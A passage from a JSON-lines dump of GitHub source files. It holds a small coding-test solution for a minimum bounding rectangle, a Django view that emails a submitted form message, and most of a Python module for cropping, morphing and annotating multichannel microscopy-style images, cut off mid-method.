labels\n","repo_name":"leotmc/DenseNet_Tensorflow","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"5370454846","text":"sizes = [[60, 50], [30, 70], [60, 30], [80, 40]]\n\n\nmax_w = 0\nmax_h = 0\n\nfor i in range(len(sizes)):\n sizes[i].sort(reverse=True)\n if sizes[i][0] > max_w:\n max_w = sizes[i][0]\n\n if sizes[i][1] > max_h:\n max_h = sizes[i][1]\nprint(max_w * max_h)\n\n# -------------------------------------\nfor a, b in sizes:\n if a < b:\n a, b = b, a\n max_w = max(max_w, a)\n max_h = max(max_h, b)\nprint(max_w * max_h)\n","repo_name":"dongury1114/Algorithm-for-codingtest","sub_path":"python/프로그래머스/level.1/최소직사각형.py","file_name":"최소직사각형.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27706334467","text":"from django.shortcuts import render\nfrom django.core.mail import send_mail\n\n\ndef home(request):\n return render(request, \"home.html\")\n\n\ndef email(request):\n if request.method == \"POST\":\n email = request.POST.get(\"email\", \"\")\n message = request.POST.get(\"message\", \"\")\n if email and message:\n send_mail(\n subject=\"test email subject\",\n message=message,\n from_email=\"test@email.com\",\n recipient_list=[\"check@email.com\"],\n fail_silently=False,\n )\n return render(request, \"success.html\")\n else:\n return render(request, \"failed.html\")\n","repo_name":"satyam-seth-learnings/django_experiments","sub_path":"sending email using django/sending_email/sending_email/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17321280057","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 14 19:25:32 2016\n\nContains classes and functions that represent (sets of) images\nand their annotations\n\nClasses:\n1. class Annotation(object):\n Class that holds an individual image annotation\n2. class AnnotatedImage(object):\n Class that hold a multichannel image and its annotations\n Images are represented in a [x * y * n_channels] matrix\n Annotations are represented as a list of Annotation objects\n3. class AnnotatedImageSet(object):\n Class that represents a dataset of annotated images and organizes\n the dataset for feeding in machine learning algorithms\n\nFunctions:\n\ndef zoom( image, y, x, zoom_size ):\n Crops an image to the area of tuple/list zoom_size around the\n supplied y, x coordinates. Pads out of range values.\n\ndef morph( image, rotation=0, scale_xy=(1,1), noise_level=0 ):\n Morphs image based on supplied parameters\n >> To do: recenter morphed image??\n\ndef morphed_zoom( image, y, x, zoom_size, pad_value=0,\n rotation=0, scale_xy=(1,1), noise_level=0 ):\n Crops image or image list to area of zoom_size around centroid\n\ndef image2vec( image ):\n Concatenates a 2d image or image_list to a single 1d vector\n\ndef vec2image( lin_image, n_channels, image_size ):\n Constructs an image_list from a single 1d vector\n\ndef vec2RGB( lin_image, n_channels, image_size,\n channel_order=(0,1,2), amplitude_scaling=(1,1,1) ):\n Constructs a 3d RGB image from a single 1d vector\n\ndef image_grid_RGB( lin_im_mat, n_x=10, n_y=6, image_size,\n channel_order=(0,1,2),\n amplitude_scaling=(1.33,1.33,1), line_color=0 ):\n Constructs a 3d numpy.ndarray tiled with a grid of RGB images. If\n more images are supplied that can be tiled, it chooses and displays\n a random subset.\n\n@author: pgoltstein\n\"\"\"\n\n\n\nDEFAULT_ZOOM=(33,33)\n\n########################################################################\n### Imports\n########################################################################\n\nimport numpy as np\nfrom skimage import measure\nfrom skimage import segmentation\nfrom skimage import morphology\ntry:\n from skimage.segmentation import watershed\nexcept:\n from skimage.morphology import watershed\nfrom skimage.feature import peak_local_max\nfrom skimage.io import imread\nfrom scipy import ndimage\nfrom scipy.io import loadmat,savemat\nfrom os import path\nimport glob, os\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n########################################################################\n### Functions\n########################################################################\n\ndef zoom( image, y, x, zoom_size, normalize=False, pad_value=0 ):\n \"\"\"Crops a(n) (list of) image(s) to the area of tuple/list zoom_size\n around the supplied y, x coordinates. Pads out of range values.\n image: Single 2d numpy.ndarray or list of 2d numpy.ndarrays\n y, x: Center coordinates\n zoom_size: Size of zoomed image (y,x)\n normalize: Normalizes to max\n pad_value: Value for out of range coordinates\n returns zoomed image\"\"\"\n if isinstance(image,list):\n image_list = []\n for ch in range(len(image)):\n image_list.append( zoom( image[ch], y, x, zoom_size, pad_value ) )\n return image_list\n else:\n ix_y = np.int16( np.round( 1 + y - ((zoom_size[0]+1) / 2) )\n + np.arange( 0, zoom_size[0] ) )\n ix_x = np.int16( np.round( 1 + x - ((zoom_size[1]+1) / 2) )\n + np.arange( 0, zoom_size[0] ) )\n max_ix_exceed = -1 * np.min( ( np.min(ix_y), np.min(ix_x),\n image.shape[0]-np.max(ix_y)-1, image.shape[1]-np.max(ix_x)-1 ) )\n if max_ix_exceed > 0:\n image_temp = np.zeros((image.shape+max_ix_exceed+1))+pad_value\n image_temp[0:image.shape[0],0:image.shape[1]] = image\n if normalize:\n zoom_im = image_temp[ np.ix_(ix_y,ix_x) ]\n zoom_im = zoom_im - zoom_im.min()\n return zoom_im / zoom_im.max()\n else:\n return image_temp[ np.ix_(ix_y,ix_x) ]\n else:\n if normalize:\n zoom_im = image[ np.ix_(ix_y,ix_x) ]\n zoom_im = (zoom_im*1.0) - zoom_im.min()\n return zoom_im / zoom_im.max()\n else:\n return image[ np.ix_(ix_y,ix_x) ]\n\ndef morph( image, rotation=0, scale_xy=(1,1), noise_level=0 ):\n \"\"\"Morphs (list of) image(s) based on supplied parameters\n image: Single 2d numpy.ndarray or list of 2d numpy.ndarrays\n rotation: Rotation of annotation in degrees (0-360 degrees)\n scale_xy: Determines fractional scaling on x/y axis.\n Min-Max = (0.5,0.5) - (2,2)\n noise_level: Standard deviation of random Gaussian noise\n returns morped_image\"\"\"\n if isinstance( image, list ):\n image_list = []\n for ch in range(len(image)):\n image_list.append( morph( image[ch],\n rotation, scale_xy, noise_level ) )\n return image_list\n else:\n # Rotate\n if rotation != 0:\n image = ndimage.interpolation.rotate(image, rotation, reshape=False)\n # Scale\n if scale_xy[0] != 1 or scale_xy[1] != 1:\n image = ndimage.interpolation.zoom( image, scale_xy )\n # Add noise\n if noise_level:\n noise_mask = np.random.normal(size=image.shape) * noise_level\n image = image + (image * noise_mask)\n return image\n\ndef morphed_zoom( image, y, x, zoom_size, pad_value=0, normalize=False,\n rotation=0, scale_xy=(1,1), noise_level=0 ):\n \"\"\"Crops image or image list to area of zoom_size around centroid\n image: Single 2d numpy.ndarray or list of 2d numpy.ndarrays\n y, x: Center coordinates\n zoom_size: (y size, x size)\n pad_value: Value for out of range coordinates\n normalize: Normalizes to max\n rotation: Rotation of annotation in degrees (0-360 degrees)\n scale_xy: Determines fractional scaling on x/y axis.\n Min-Max = (0.5,0.5) - (2,2)\n noise_level: Level of random noise\n returns tuple holding (morped_zoom, morped_annotation)\"\"\"\n im = zoom( image=image, y=y, x=x,\n zoom_size=(zoom_size[0]*3,zoom_size[1]*3),\n normalize=False, pad_value=pad_value )\n im = morph( image=im,\n rotation=rotation, scale_xy=scale_xy, noise_level=noise_level )\n if isinstance( im, list ):\n y_pos, x_pos = (im[0].shape[0]-1)/2, (im[0].shape[1]-1)/2\n else:\n y_pos, x_pos = (im.shape[0]-1)/2, (im.shape[1]-1)/2\n return zoom( im, y=y_pos, x=x_pos, zoom_size=zoom_size,\n normalize=normalize, pad_value=pad_value )\n\ndef image2vec( image ):\n \"\"\"Concatenates a 2d image or image_list to a single 1d vector\n image: single 2d numpy.ndarray or list of 2d numpy.ndarrays\n returns 1d vector with all pixels concatenated\"\"\"\n image_1d = []\n if isinstance( image, list ):\n for ch in range(len(image)):\n image_1d.append(image[ch].ravel())\n else:\n image_1d.append(image.ravel())\n return np.concatenate( image_1d )\n\ndef vec2image( lin_image, n_channels, image_size ):\n \"\"\"Constructs an image_list from a single 1d vector\n lin_image: 1d image vector with all pixels concatenated\n n_channels: Number of image channels\n image_size: 2 dimensional size of the image (y,x)\n returns single or list of 2d numpy.ndarrays\"\"\"\n if n_channels > 1:\n channels = np.split( lin_image, n_channels )\n image = []\n for ch in range(n_channels):\n image.append( np.reshape( channels[ch], image_size ) )\n else:\n image = np.reshape( lin_image, image_size )\n return image\n\ndef vec2RGB( lin_image, n_channels, image_size,\n channel_order=(0,1,2), amplitude_scaling=(1,1,1) ):\n \"\"\"Constructs a 3d RGB image from a single 1d vector\n lin_image: 1d image vector with all pixels concatenated\n n_channels: Number of image channels\n image_size: 2 dimensional size of the image (y,x)\n channel_order: tuple indicating which channels are R, G and B\n amplitude_scaling: Additional scaling of each channel separately\n returns 3d numpy.ndarray\"\"\"\n image = vec2image( lin_image, n_channels, image_size )\n RGB = np.zeros((image_size[0],image_size[1],3))\n if n_channels > 1:\n for nr,ch in enumerate(channel_order):\n RGB[:,:,nr] = image[ch]\n else:\n for ch in range(3):\n RGB[:,:,ch] = image\n return RGB\n\ndef image_grid_RGB( lin_images, n_channels, image_size, annotation_nrs=None,\n n_x=10, n_y=6, channel_order=(0,1,2), auto_scale=False,\n amplitude_scaling=(1.33,1.33,1),\n line_color=0, return_borders=False ):\n \"\"\" Constructs a 3d numpy.ndarray tiled with a grid of RGB images. If\n more images are supplied that can be tiled, it chooses and displays\n a random subset.\n lin_images: 2d matrix with on each row an image vector with all\n pixels concatenated or a list with images\n n_channels: Number of image channels\n image_size: 2 dimensional size of the image (y,x)\n annotation_nrs: List with nr of the to be displayed annotations\n n_x: Number of images to show on x axis of grid\n n_y: Number of images to show on y axis of grid\n channel_order: Tuple indicating which channels are R, G and B\n auto_scale: Scale each individual image to its maximum (T/F)\n amplitude_scaling: Intensity scaling of each color channel\n line_color: Intensity (gray scale) of line between images\n return_borders: Returns a matrix of same size marking borders with 1\n Returns numpy.ndarray (x,y,RGB)\n \"\"\"\n\n # Get indices of images to show\n if annotation_nrs is None:\n annotation_nrs = list(range(lin_images.shape[0]))\n n_images = len(annotation_nrs)\n if n_images <= n_x*n_y:\n im_ix = list(range(n_images))\n else:\n im_ix = np.random.choice( n_images, n_x*n_y, replace=False )\n\n # Get coordinates of where images will go\n y_coords = []\n offset = 0\n for i in range(n_y):\n offset = i * (image_size[0] + 1)\n y_coords.append(offset+np.array(range(image_size[0])))\n max_y = np.max(y_coords[i]) + 1\n\n x_coords = []\n offset = 0\n for i in range(n_x):\n offset = i * (image_size[1] + 1)\n x_coords.append(offset+np.array(range(image_size[1])))\n max_x = np.max(x_coords[i]) + 1\n\n rgb_coords = np.array(list(range(3)))\n\n # Fill grid\n im_count = 0\n center_shift = []\n grid = np.zeros((max_y,max_x,3))+line_color\n borders = np.zeros((max_y,max_x,3)) + 1\n for y in range(n_y):\n for x in range(n_x):\n if im_count < n_images:\n rgb_im = vec2RGB( lin_images[ im_ix[ annotation_nrs[im_count] ], : ],\n n_channels=n_channels, image_size=image_size,\n channel_order=channel_order,\n amplitude_scaling=amplitude_scaling )\n if auto_scale:\n rgb_im = (rgb_im-rgb_im.min()) / (rgb_im.max()-rgb_im.min())\n grid[np.ix_(y_coords[y],x_coords[x],rgb_coords)] = rgb_im\n borders[np.ix_(y_coords[y],x_coords[x],rgb_coords)] = 0\n center_shift.append( \\\n ( y_coords[y][0] + (0.5*image_size[0]) -0.5,\n x_coords[x][0] + (0.5*image_size[0]) -0.5 ) )\n else:\n break\n im_count += 1\n if return_borders:\n return grid, center_shift, borders\n else:\n return grid, center_shift\n\ndef split_samples( m_samples, n_groups, ratios=None ):\n \"\"\"Splits the total number of samples into n_groups according to the\n relative ratios (compensates for rounding errors)\n m_samples: Total number of samples\n n_groups: Number of sample groups to return\n ratios: List with relative ratio of each group\n returns list with sample counts per group\"\"\"\n\n if ratios is None:\n ratios = n_groups * [ (1/n_groups),]\n else:\n ratios = np.array(ratios)\n ratios = ratios/ratios.sum()\n\n # Calculate minimum number of positive and negative samples and round err\n g_samples = []\n g_round_ratios = []\n for g in range(n_groups):\n g_samples.append( np.int16( m_samples * ratios[g] ) )\n g_round_ratios.append( (m_samples * ratios[g]) % 1 )\n\n # Find how many samples are still missing\n n_missing = m_samples - np.sum(g_samples)\n\n # Assign missing samples by relative remainder fractional chance to groups\n if n_missing > 0:\n ratio_group_ids = list(range(len(g_round_ratios)))\n for s in range(n_missing):\n rand_num = np.random.rand(1)\n for g in range(len(g_round_ratios)):\n if rand_num < np.sum(g_round_ratios[:(g+1)]):\n g_samples[ratio_group_ids[g]] += 1\n del g_round_ratios[g]\n del ratio_group_ids[g]\n break\n return g_samples\n\n\ndef get_labeled_pixel_coordinates( bin_image, exclude_border=(0,0,0,0) ):\n \"\"\"Get the x and y pixels coordinates of all labeled pixels in a\n binary image, excluding the pixels outside of the border\n bin_image: Binary image (numpy array)\n exclude_border: exclude annotations that are a certain distance\n to each border. Pix from (left, right, up, down)\n returns tuple y_pix,x_pix with numpy.array pixel coordinates\"\"\"\n\n # Get lists with all pixel coordinates\n y_res,x_res = bin_image.shape\n (pix_x,pix_y) = np.meshgrid(np.arange(x_res),np.arange(y_res))\n\n # Get lists with coordinates of all labeled pixels\n lab_pix_x = pix_x.ravel()[bin_image.ravel() == 1]\n lab_pix_y = pix_y.ravel()[bin_image.ravel() == 1]\n\n # Exclude all pixels that are too close to the border\n if np.max(exclude_border) > 0:\n include_pix = \\\n np.logical_and( np.logical_and( np.logical_and(\n lab_pix_x > exclude_border[0],\n lab_pix_x < (x_res-exclude_border[1]) ),\n lab_pix_y > exclude_border[2] ),\n lab_pix_y < (y_res-exclude_border[3]) )\n lab_pix_x = lab_pix_x[ include_pix ]\n lab_pix_y = lab_pix_y[ include_pix ]\n\n # Return pixel coordinates\n return lab_pix_y,lab_pix_x\n\n\n########################################################################\n### Class Annotation\n########################################################################\n\nclass Annotation(object):\n \"\"\"Class that holds an individual image annotation\"\"\"\n\n def __init__( self, body_pixels_yx, annotation_name=\"Neuron\",\n type_nr=1, group_nr=0):\n \"\"\"Initialize.\n body_pixels_yx: list/tuple of (y,x) coordinates\n or a 2d binary image mask\n annotation_name: string\n type_nr: int\n group_nr: int\n \"\"\"\n # Store supplied parameters\n if isinstance( body_pixels_yx, list ):\n self.body = np.array(np.int16(body_pixels_yx))\n elif body_pixels_yx.shape[1] == 2:\n self.body = np.array(np.int16(body_pixels_yx))\n else:\n self.body = np.transpose( \\\n np.nonzero( np.array( np.int16(body_pixels_yx) ) ) )\n self.name = str(annotation_name)\n self.type_nr = int(type_nr)\n self.group_nr = int(group_nr)\n\n def __str__(self):\n return \"Annotation at (y={:.1f},x={:.1f}), group={:.0f}, \"\\\n \"name={!s}\".format(self._y, self._x, self._group_nr, self.name)\n\n @property\n def body(self):\n \"\"\"Returns body coordinates\"\"\"\n return self._body\n\n @body.setter\n def body(self,body_pixels_yx):\n \"\"\"Sets body coordinates and calculates associated centroids\"\"\"\n self._body = np.array(body_pixels_yx)\n self._y = self._body[:,0].mean()\n self._x = self._body[:,1].mean()\n temp_mask = np.zeros( self._body.max(axis=0)+3 )\n temp_mask[ self._body[:,0]+1, self._body[:,1]+1 ] = 1\n self._perimeter = measure.find_contours(temp_mask, 0.5)[0]-1\n self._size = self._body.shape[0]\n\n @property\n def x(self):\n \"\"\"Returns read-only centroid x coordinate\"\"\"\n return self._x\n\n @property\n def y(self):\n \"\"\"Returns read-only centroid y coordinate\"\"\"\n return self._y\n\n @property\n def group_nr(self):\n \"\"\"Returns read-only group number\"\"\"\n return self._group_nr\n\n @group_nr.setter\n def group_nr(self,group_nr):\n \"\"\"Sets group number\"\"\"\n self._group_nr = int(group_nr)\n\n @property\n def type_nr(self):\n \"\"\"Returns read-only type number\"\"\"\n return self._type_nr\n\n @type_nr.setter\n def type_nr(self,type_nr):\n \"\"\"Sets type number to integer\"\"\"\n self._type_nr = int(type_nr)\n\n @property\n def perimeter(self):\n \"\"\"Returns read-only stored list of perimeter (y,x) coordinates\"\"\"\n return self._perimeter\n\n @property\n def size(self):\n \"\"\"Returns read-only size of annotation (number of pixels)\"\"\"\n return self._size\n\n def zoom(self, image, zoom_size, pad_value=0, normalize=False ):\n \"\"\"Crops image to area of tuple/list zoom_size around centroid\n image: Single 2d numpy.ndarray\n zoom_size: (y size, x size)\n pad_value: Value for out of range coordinates\n normalize: Normalizes to max\n returns zoomed image\"\"\"\n return zoom( image=image, y=self._y, x=self._x, zoom_size=zoom_size,\n normalize=normalize, pad_value=pad_value )\n\n def morphed_zoom(self, image, zoom_size, pad_value=0, normalize=False,\n rotation=0, scale_xy=(1,1), noise_level=0 ):\n \"\"\"Crops image to area of tuple/list zoom_size around centroid\n image: Single 2d numpy.ndarray\n zoom_size: (y size, x size)\n pad_value: Value for out of range coordinates\n normalize: Normalizes to max\n rotation: Rotation of annotation in degrees (0-360 degrees)\n scale_xy: Determines fractional scaling on x/y axis.\n Min-Max = (0.5,0.5) - (2,2)\n noise_level: Level of random noise\n returns tuple holding (morped_zoom, morped_annotation)\"\"\"\n return morphed_zoom( image, self._y, self._x, zoom_size=zoom_size,\n pad_value=pad_value, normalize=normalize, rotation=rotation,\n scale_xy=scale_xy, noise_level=noise_level )\n\n def mask_body(self, image, dilation_factor=0,\n mask_value=1, keep_centroid=True):\n \"\"\"Draws mask of all body pixels in image\n image: Single 2d numpy.ndarray\n dilation_factor: >0 for dilation, <0 for erosion\n mask_value: Value to place in image\n keep_centroid: Prevents mask from disappearing altogether with\n negative dilation factors\n returns masked image\"\"\"\n if dilation_factor==0:\n # Just mask the incoming image\n image[ self._body[:,0], self._body[:,1] ] = mask_value\n else:\n # Draw mask on temp image, dilate, get pixels, then draw in image\n temp_mask = np.zeros_like(image,dtype=bool)\n temp_mask[ self._body[:,0],self._body[:,1] ] = True\n if dilation_factor>0:\n for _ in range(dilation_factor):\n temp_mask = ndimage.binary_dilation(temp_mask)\n elif dilation_factor<0:\n for _ in range(-1*dilation_factor):\n temp_mask = ndimage.binary_erosion(temp_mask)\n temp_body = np.array(np.where(temp_mask == True)).transpose()\n image[ temp_body[:,0], temp_body[:,1] ] = mask_value\n if keep_centroid:\n image[self._y.astype(int),self._x.astype(int)] = mask_value\n\n def mask_outline(self, image, dilation_factor=0, thickness=1,\n mask_value=1, keep_centroid=True):\n \"\"\"Draws mask of all outline pixels in image\n image: Single 2d numpy.ndarray\n dilation_factor: >0 for dilation, <0 for erosion\n thickness: 1 or larger\n mask_value: Value to place in image\n keep_centroid: Prevents mask from disappearing altogether with\n negative dilation factors\n returns masked image\"\"\"\n\n # Draw mask on temp image, dilate, get pixels, then draw in image\n temp_mask = np.zeros_like(image,dtype=bool)\n temp_mask[ self._body[:,0],self._body[:,1] ] = True\n if dilation_factor>0:\n for _ in range(dilation_factor):\n temp_mask = ndimage.binary_dilation(temp_mask)\n elif dilation_factor<0:\n for _ in range(-1*dilation_factor):\n temp_mask = ndimage.binary_erosion(temp_mask)\n temp_mask_inset = np.array(temp_mask)\n for _ in range(thickness):\n temp_mask_inset = ndimage.binary_erosion(temp_mask_inset)\n temp_mask = (temp_mask*1.0) - (temp_mask_inset*1.0)\n temp_body = np.array(np.where(temp_mask == True)).transpose()\n image[ temp_body[:,0], temp_body[:,1] ] = mask_value\n if keep_centroid and len(temp_body) == 0:\n image[self._y.astype(int),self._x.astype(int)] = mask_value\n\n def mask_centroid(self, image, dilation_factor=0, mask_value=1):\n \"\"\"Draws mask of centroid pixel in image\n image: Single 2d numpy.ndarray\n dilation_factor: >0 for padding the centroid with surrounding points\n mask_value: Value to place in image\n returns masked image\"\"\"\n if dilation_factor==0:\n # Just mask the incoming image\n image[self._y.astype(int),self._x.astype(int)] = mask_value\n else:\n # Draw mask on temp image, dilate, get pixels, then draw in image\n temp_mask = np.zeros_like(image,dtype=bool)\n temp_mask[self._y.astype(int),self._x.astype(int)] = True\n for _ in range(dilation_factor):\n temp_mask = ndimage.binary_dilation(temp_mask)\n temp_body = np.array(np.where(temp_mask == True)).transpose()\n image[ temp_body[:,0], temp_body[:,1] ] = mask_value\n\n\n########################################################################\n### Class AnnotatedImage\n########################################################################\n\nclass AnnotatedImage(object):\n \"\"\"Class that hold a multichannel image and its annotations\n Images are represented in a list of [x * y] matrices\n Annotations are represented as a list of Annotation objects\"\"\"\n\n def __init__( self, image_data=None, annotation_data=None,\n exclude_border=None, detected_centroids=None, detected_bodies=None,\n labeled_centroids=None, labeled_bodies=None,\n include_annotation_typenr=None, downsample=None):\n \"\"\"Initialize image list and channel list\n channel: List or tuple of same size images\n annotation: List or tuple of Annotation objects\n exclude_border: 4-Tuple containing border exclusion region\n (left,right,top,bottom), dictionary, or\n file name of mat file holding the parameters\n as separate variables\n detected_centroids: Binary image with centroids labeled\n detected_bodies: Binary image with bodies labeled\n labeled_centroids: Image with annotation centroids labeled by number\n labeled_bodies: Image with annotation bodies labeled by number\n downsample: Downsample to be imported images, borders\n and ROI's by a certain factor\n \"\"\"\n self._downsample = downsample\n self._bodies = None\n self._bodies_type_nr = None\n self._body_dilation_factor = 0\n self._outlines = None\n self._outlines_type_nr = None\n self._outline_thickness = 1\n self._centroids = None\n self._centroids_type_nr = None\n self._centroid_dilation_factor = 0\n self._include_annotation_typenrs = None\n self._y_res = 0\n self._x_res = 0\n self._channel = []\n self._annotation = []\n self._exclude_border = {'left': 0, 'right': 0, 'top': 0, 'bottom': 0}\n self._exclude_border_tuple = (0,0,0,0)\n if image_data is not None:\n self.channel = image_data\n if annotation_data is not None:\n self.annotation = annotation_data\n if exclude_border is not None:\n self.exclude_border = exclude_border\n self.detected_centroids = detected_centroids\n self.detected_bodies = detected_bodies\n self.labeled_centroids = labeled_centroids\n self.labeled_bodies = labeled_bodies\n\n def __str__(self):\n return \"AnnotatedImage (#ch={:.0f}, #ann={:.0f}, \" \\\n \"brdr={:d},{:d},{:d},{:d})\".format( self.n_channels,\n self.n_annotations, self.exclude_border['left'],\n self.exclude_border['right'], self.exclude_border['top'],\n self.exclude_border['bottom'])\n\n # **********************************\n # ***** Describing properties *****\n @property\n def y_res(self):\n \"\"\"Returns the (read-only) size of the y-dimension of the images\"\"\"\n return self._y_res\n\n @property\n def x_res(self):\n \"\"\"Returns the (read-only) size of the x-dimension of the images\"\"\"\n return self._x_res\n\n @property\n def im_size(self):\n \"\"\"Returns the (read-only) size of the image as tuple\"\"\"\n return (self._y_res,self._x_res)\n\n @property\n def n_channels(self):\n \"\"\"Returns the (read-only) number of image channels\"\"\"\n return len(self._channel)\n\n @property\n def n_annotations(self):\n \"\"\"Returns the (read-only) number of annotations\"\"\"\n return len(self._annotation)\n\n @property\n def downsamplingfactor(self):\n \"\"\"Returns the (read-only) downsampling factor\"\"\"\n return self._downsample\n\n @property\n def class_labels(self):\n \"\"\"Returns the class labels that are set for training\"\"\"\n class_labels = [0,]\n class_labels.extend(list(self.include_annotation_typenrs))\n return class_labels\n\n # ************************************\n # ***** Handling the image data *****\n @property\n def channel(self):\n \"\"\"Returns list with all image channels\"\"\"\n return self._channel\n\n @channel.setter\n def channel(self, image_data):\n \"\"\"Sets the internal list with all image channels to np.ndarray copies\n of the supplied list with -to numpy.ndarray convertable- image data\n image_data: single image, or list with images that are converable to\n a numpy.ndarray\"\"\"\n self._channel = []\n self._bodies = None\n self._outlines = None\n self._centroids = None\n y_res_old,x_res_old = self.y_res,self.x_res\n if isinstance( image_data, list):\n for im in image_data:\n if self.downsamplingfactor is not None:\n self._channel.append( ndimage.interpolation.zoom( \\\n np.array(im), 1/self.downsamplingfactor ) )\n else:\n self._channel.append( np.array(im) )\n else:\n if self.downsamplingfactor is not None:\n self._channel.append( ndimage.interpolation.zoom( \\\n np.array(image_data), 1/self.downsamplingfactor ) )\n else:\n self._channel.append( np.array(image_data) )\n self._y_res,self._x_res = self._channel[0].shape\n\n # Update masks if there are annotations and the image resolution changed\n if self.n_annotations > 0 and ( (y_res_old != self.y_res)\n or (x_res_old != self.x_res) ):\n self._set_bodies()\n self._set_outlines()\n self._set_centroids()\n\n @property\n def exclude_border(self):\n \"\"\"Returns dictionary with border exclusion parameters\"\"\"\n return self._exclude_border\n\n @property\n def exclude_border_tuple(self):\n \"\"\"Returns dictionary with border exclusion parameters\"\"\"\n return self._exclude_border_tuple\n\n @exclude_border.setter\n def exclude_border( self, exclude_border ):\n \"\"\"Sets the exclude_border parameter dictionary\n exclude_border: 4-Tuple containing border exclusion region (left,\n right,top,bottom), dictionary, or file name of mat\n file holding the parameters as separate variables\n named ExclLeft, ExclRight, ExclTop, ExclBottom\n Returns dictionary {'left': #, 'right': #, 'top': #, 'bottom': #}\n \"\"\"\n if isinstance(exclude_border,list) or isinstance(exclude_border,tuple):\n self._exclude_border['left'] = exclude_border[0]\n self._exclude_border['right'] = exclude_border[1]\n self._exclude_border['top'] = exclude_border[2]\n self._exclude_border['bottom'] = exclude_border[3]\n elif isinstance(exclude_border,dict):\n self._exclude_border['left'] = exclude_border['left']\n self._exclude_border['right'] = exclude_border['right']\n self._exclude_border['top'] = exclude_border['top']\n self._exclude_border['bottom'] = exclude_border['bottom']\n elif isinstance(exclude_border,str):\n mat_data = loadmat(exclude_border)\n self._exclude_border['left'] = int(mat_data['ExclLeft'])\n self._exclude_border['right'] = int(mat_data['ExclRight'])\n self._exclude_border['top'] = int(mat_data['ExclTop'])\n self._exclude_border['bottom'] = int(mat_data['ExclBottom'])\n if self.downsamplingfactor is not None:\n self._exclude_border['left'] = \\\n int(np.round(self._exclude_border['left']/self.downsamplingfactor))\n self._exclude_border['right'] = \\\n int(np.round(self._exclude_border['right']/self.downsamplingfactor))\n self._exclude_border['top'] = \\\n int(np.round(self._exclude_border['top']/self.downsamplingfactor))\n self._exclude_border['bottom'] = \\\n int(np.round(self._exclude_border['bottom']/self.downsamplingfactor))\n self._exclude_border_tuple = \\\n ( int(self._exclude_border['left']), int(self._exclude_border['right']),\n int(self._exclude_border['top']), int(self._exclude_border['bottom']) )\n\n def add_image_from_file(self, file_name, file_path='.',\n normalize=True, use_channels=None,\n tiff_page=None):\n \"\"\"Loads image or matlab cell array, scales individual channels to\n max (1), and adds it as a new image channel\n file_name: String holding name of image file\n file_path: String holding file path\n normalize: Normalize to maximum of image\n use_channels: tuple holding channel numbers/order to load (None=all)\n \"\"\"\n y_res_old,x_res_old = self.y_res,self.x_res\n\n # Load from .mat file with cell array\n if str(file_name[-4:]) == \".mat\":\n mat_data = loadmat(path.join(file_path,file_name))\n n_channels = mat_data['Images'].shape[1]\n if use_channels is None:\n use_channels = list(range(n_channels))\n for ch in use_channels:\n im_x = np.float64(np.array(mat_data['Images'][0,ch]))\n if normalize:\n im_x = im_x - im_x.min()\n im_x = im_x / im_x.max()\n if self.downsamplingfactor is not None:\n self._channel.append( ndimage.interpolation.zoom( \\\n im_x, 1/self.downsamplingfactor ) )\n else:\n self._channel.append(im_x)\n\n # Load from actual image\n else:\n if tiff_page is None:\n im = np.float64(imread(path.join(file_path,file_name)))\n else:\n imch = np.float64(imread(path.join(file_path,file_name), plugin=\"tifffile\"))\n imch = imch[tiff_page,:,:,:]\n [nch,ny,nx] = imch.shape\n im = np.zeros((ny,nx,3))\n for ch in range(imch.shape[0]):\n im[:,:,ch] = imch[ch,:,:]\n\n # Perform normalization (max=1) and add to channels\n if im.ndim == 3:\n n_channels = np.size(im,axis=2)\n if use_channels is None:\n use_channels = list(range(n_channels))\n for ch in use_channels:\n im_x = im[:,:,ch]\n if normalize:\n im_x = im_x - im_x.min()\n im_x = im_x / im_x.max()\n if self.downsamplingfactor is not None:\n self._channel.append( ndimage.interpolation.zoom( \\\n im_x, 1/self.downsamplingfactor ) )\n else:\n self._channel.append(im_x)\n else:\n if normalize:\n im = im - im.min()\n im = im / im.max()\n if self.downsamplingfactor is not None:\n self._channel.append( ndimage.interpolation.zoom( \\\n im, 1/self.downsamplingfactor ) )\n else:\n self._channel.append(im)\n\n # Set resolution\n self._y_res,self._x_res = self._channel[0].shape\n\n # Update masks if there are annotations and the image resolution changed\n if self.n_annotations > 0 and ( (y_res_old != self.y_res)\n or (x_res_old != self.x_res) ):\n self._set_bodies()\n self._set_outlines()\n self._set_centroids()\n\n def RGB( self, channel_order=(0,1,2), amplitude_scaling=(1,1,1) ):\n \"\"\"Constructs an RGB image from the image list\n channel_order: tuple indicating which channels are R, G and B\n amplitude_scaling: Additional scaling of each channel separately\n returns 3d numpy.ndarray\"\"\"\n RGB = np.zeros((self.y_res,self.x_res,3))\n for ch in range(len(channel_order)):\n if channel_order[ch] < self.n_channels:\n RGB[:,:,ch] = self.channel[channel_order[ch]] * amplitude_scaling[ch]\n RGB[RGB>1] = 1\n return RGB\n\n def crop( self, left, top, width, height ):\n \"\"\"Crops the image channels, annotations and borders\n left: Left most pixel in cropped image (0 based)\n top: Top most pixel in cropped image (0 based)\n width: Width of cropped region\n height: Height of cropped region\n \"\"\"\n\n # Crop channels\n new_channel_list = []\n for nr in range(self.n_channels):\n new_channel_list.append( self._channel[nr][top:top+height,left:left+width] )\n\n # Crop annotations\n new_annotation_list = []\n for an in self.annotation:\n an_mask = np.zeros((self.y_res,self.x_res))\n an.mask_body( image=an_mask )\n new_an_mask = an_mask[top:top+height,left:left+width]\n if new_an_mask.sum() > 0:\n new_annotation_list.append( Annotation( body_pixels_yx=new_an_mask,\n annotation_name=an.name, type_nr=an.type_nr, group_nr=an.group_nr) )\n\n # Crop borders\n brdr = self.exclude_border.copy()\n brdr['left'] = np.max( [ brdr['left']-left, 0 ] )\n brdr['top'] = np.max( [ brdr['top']-top, 0 ] )\n crop_from_right = self.x_res-(left+width)\n brdr['right'] = np.max( [ brdr['right']-crop_from_right, 0 ] )\n crop_from_bottom = self.x_res-(left+width)\n brdr['bottom'] = np.max( [ 